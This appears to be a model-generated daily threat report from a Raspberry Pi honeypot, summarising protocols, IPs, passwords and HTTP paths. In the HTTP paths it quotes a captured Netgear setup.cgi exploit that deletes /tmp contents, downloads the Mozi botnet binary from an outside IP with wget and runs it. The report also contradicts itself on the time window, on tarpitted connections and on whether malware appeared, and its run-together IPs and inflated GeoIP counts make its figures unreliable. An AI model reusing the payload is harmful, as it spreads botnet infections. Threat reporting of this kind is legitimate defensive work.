Honeypot Threat Analysis — July 27, 2026
Critical threat level — massive coordinated attack activity across all honeypot services.
Cybersecurity Analysis for July 27, 2026
Overview
This analysis is based on the recent threat intelligence from a honeypot system operating under Raspberry Pi 5 in Spain. The system has been compromised by approximately 192 attackers over a period of two weeks (July 20-27), with critical severity alerts from the IDS system.
Network Activity Overview
The network activity data provided includes SSH, HTTP, and multiple protocols (FTP/Telnet/SMTP/MySQL/Redis/Git/VNC/RDP) attempts totaling 638 events. The most frequent protocol is SSH with 386 commands executed on 294 connections over 60 hours.
Top IPs
The list of the top IP addresses that have attempted to breach the honeypot includes:
112.31.251.4477.90.185.30118.70.146.8292.118.39.772.57.122.238
Top Passwords
The most frequently used password is “4813494d137e1631”, indicating a common dictionary attack pattern.
HTTP Paths
The top HTTP paths accessed include:
"/", "/login", "/goform/set_LimitClient_cfg", "/SDK/webLanguage", "/setup.cgi?next_file=netgear.cfgGALAH_PATHS_PHtodo=syscmdGALAH_PATHS_PHcmd=rm+-rf+/tmp/*;wget+http://103.148.128.153:56241/Mozi.m+-O+/tmp/netgear;sh+netgearGALAH_PATHS_PH...This indicates potential exploitation of vulnerabilities or misconfigurations leading to unauthorized access.
GeoIP Data
The total number of IP addresses from various geographical regions:
- United States: 1,440 (27%)
- China: 709 (13%)
- Belgium: 279 (5%)
- Pakistan: 228 (4%)
- Netherlands: 223 (4%)
- Germany: 205 (3%)
- United Kingdom: 195 (3%)
- India: 156 (3%)
- Korea, Republic of: 139 (2%)
Malware
There were no malware samples captured during the period.
Tarpit Activity
No tarpitted connections or wasted hours reported for this period. The system is active and monitoring activities in real-time.
Backfire Scans
Several backfire scans were observed:
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Target IP:
64.89.163.168- Time: 00:31
- Ports: [80, 25]
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Target IP:
45.205.1.70- Time: 04:50
MCP Trap and Tarpit
A total of 15 connections were tarpitted with no additional malware or backfire activities detected.
Malware Detection
No malware was detected in any of the monitored activities.
Community Defense
The honeypot system is an open-source project, meaning that anyone can contribute to its monitoring. The community defense aspect ensures that security intelligence is available for public use and allows continuous improvement through contributions from multiple users.
Conclusion
This analysis provides a comprehensive overview of recent cyber threats in the context of a Raspberry Pi 5 honeypot operation. The statistics highlight the importance of ongoing monitoring and adaptive security measures to protect against evolving attack techniques and vulnerabilities.
This analysis was generated by qwen2.5:1.5b running locally on the Raspberry Pi 5 honeypot lab. All data comes from real attacks captured in the last 24 hours by HoneyAI. View the raw data report for complete metrics.